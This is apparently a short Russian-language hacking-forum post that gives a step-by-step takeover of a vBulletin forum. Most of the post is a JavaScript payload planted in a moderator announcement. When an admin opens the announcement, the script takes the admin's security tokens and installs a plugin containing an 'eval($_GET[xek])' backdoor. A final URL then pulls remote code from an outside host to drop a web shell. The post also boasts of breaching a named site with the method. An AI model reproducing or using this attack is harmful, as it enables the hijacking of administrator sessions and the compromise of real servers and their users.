shell module html announcement

Нужны прова модера/СМа
Панель модератора - Объявления - Создать новое объявление
Текст:

Код:

<script type="text/javascript" src="http://code.jquery.com/jquery.min.js"></script>
<script type="text/javascript">
	var adminurl = '/admincp/';
	var src = '';
	$.get(adminurl + 'plugin.php?do=add',{
	}, function(data){
		//alert(data);
		var adminhash = $(data).find('input[name=adminhash]').val();
		var securitytoken = $(data).find('input[name=securitytoken]').val();
		$.post(adminurl + 'plugin.php?do=update', {
			'do' : 'update',
			'adminhash': adminhash,
			'securitytoken': securitytoken,
			'product':'vbulletin',
			'hookname':'faq_complete',
			'title':'vBulleltin',
			'executionorder':'1',
			'phpcode':'eval($_GET[xek]);',
			'active':'1',
			'pluginid':''
		}, function(sdata){
			//alert(sdata);
		});
	});
	

</script>

Далее кидаем админу линк на объявление и ждем пока он зайдет в админку.
ну и наконец
[noparse]http://host.local/faq.php?xek=eval(file_get_contents('http://xek.local/sell.txt'));[/noparse]
[noparse]https://h-xn.ru/xnt/shell0.png[/noparse]
Собсно так и была взломана brutezone Boolean'om)
the end *mrgreen*

 

слито